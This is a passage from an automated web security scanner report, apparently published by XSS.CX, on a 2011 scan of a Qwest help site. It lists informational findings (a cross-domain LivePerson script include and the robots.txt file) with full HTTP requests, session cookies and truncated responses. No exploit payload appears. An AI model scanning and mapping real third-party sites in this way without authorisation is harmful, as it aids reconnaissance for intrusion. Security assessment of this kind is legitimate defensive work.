GET /cgi-bin/qwest.cfg/php/enduser/help_search.php?p_sid=z*o_MoDk&p_lva=&p_sp=cF9zcmNoPTEmcF9zb3J0X2J5PSZwX2dyaWRzb3J0PSZwX3Jvd19jbnQ9MCwwJnBfcHJvZHM9NjcsNjgmcF9jYXRzPTgsMCZwX3B2PTEuNjc7Mi42OCZwX2N2PTEuOCZwX3BhZ2U9MSZwX3NlYXJjaF90ZXh0PXhzcw!!&p_li= HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=z*o_MoDk&p_lva=&p_li=&p_accessibility=&p_redirect=&p_page=1&p_cv=1.8&p_pv=&p_prods=&p_cats=8&p_hidden_prods=&cat_lvl1=8&cat_lvl2=0&p_search_text=xss&x=55&y=16&p_new_search=1
Cookie: TLTHID=808F7F82D86F10D8001CB484F44AC147; TLTSID=7F3B8068D86F10D800168EE5DEF3F32E; TLsessionID=32142022098292118771; s_cc=true; gpv_ptemp=no%20value; s_nr=1315321429770-New; eVar11=no%20value; s_sq=qwestfull%3D%2526pid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fstd_alp.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_li%25253D%252526p_accessibility%25253D%252526p_redirect%25253D%252526p_page%25253D1%252526p_cv%25253D1.8%252526p_pv%25253D%252526p_prods%25253D%252526p_cats%25253D8%252526p_hidden_prods%25253D%252526cat_lvl1%25253D8%252526cat_lvl2%25253D0%252526p_search_text%25253Dxss%252526x%25253D55%252526y%25253D16%252526p_new_search%25253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww3.qwest.com%25252Fcgi-bin%25252Fqwest.cfg%25252Fphp%25252Fenduser%25252Fhelp_search.php%25253Fp_sid%25253Dz*o_MoDk%252526p_lva%25253D%252526p_sp%25253DcF9zc%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:03:53 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=111298 t=1315303433752949
RNT-Machine: 09
Vary: Accept-Encoding
Content-Length: 119598
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-US">
<!-- Head ->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>- -->
...[SNIP]...
<!-- LivePerson Monitor Tag Script-->
<script language='JavaScript' type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&file=chatScript3&site=78221172&imageUrl=https://ecom2.qwest.com:4443/ebus/imgs/c2c/'></script>
...[SNIP]...

3.2. http://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/std_alp.php  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /cgi-bin/qwest.cfg/php/enduser/std_alp.php?p_sid=qRlKCq-g&p_lva=&p_li=&p_page=1&p_cat_lvl1=8&p_cat_lvl2=%7Eany%7E HTTP/1.1
Host: www3.qwest.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://tcat-itv2.centurylink.com/residential/ld/index_oor.html

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:03:38 GMT
Server: Apache
P3P: policyref="https://www3.qwest.com/rnt/rnw/p3p/rnw_p3p_ref.xml",CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
RNT-Time: D=138958 t=1315303418504436
RNT-Machine: 12
Vary: Accept-Encoding
Content-Length: 221370
X-Cnection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<!-- Head -->
<head>
<meta name="robots" content="index, nofollow">
<meta http-equiv="Pragma" conten
...[SNIP]...
<!-- LivePerson Monitor Tag Script-->
<script type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&amp;file=chatScript3&amp;site=78221172&amp;imageUrl=http://www.qwest.com/imgs/c2c/'></script>
...[SNIP]...
<!-- LivePerson Monitor Tag Script-->
<script language='JavaScript' type="text/javascript" src='https://server.iad.liveperson.net/hc/78221172/x.js?cmd=file&file=chatScript3&site=78221172&imageUrl=https://ecom2.qwest.com:4443/ebus/imgs/c2c/'></script>
...[SNIP]...

4. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www3.qwest.com
Path:   /cgi-bin/qwest.cfg/php/enduser/std_alp.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www3.qwest.com

Response

HTTP/1.1 200 OK
Date: Tue, 06 Sep 2011 10:03:40 GMT
Server: Apache
Last-Modified: Mon, 05 Apr 2010 23:09:29 GMT
Accept-Ranges: bytes
Content-Length: 933
RNT-Time: D=2020 t=1315303420019536
RNT-Machine: 08
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

Sitemap: https://www3.qwest.com/cgi-bin/qwest.cfg/php/enduser/sitemap.php # ADDED BY HMS

User-agent: gsa-crawler-dev-SOS # CUSTOM
Disallow: # CUSTOM
User-agent: gsa-crawler-test-SOS # CUSTOM
Disa
...[SNIP]...

Report generated by XSS.CX at Tue Sep 06 09:20:49 GMT-06:00 2011.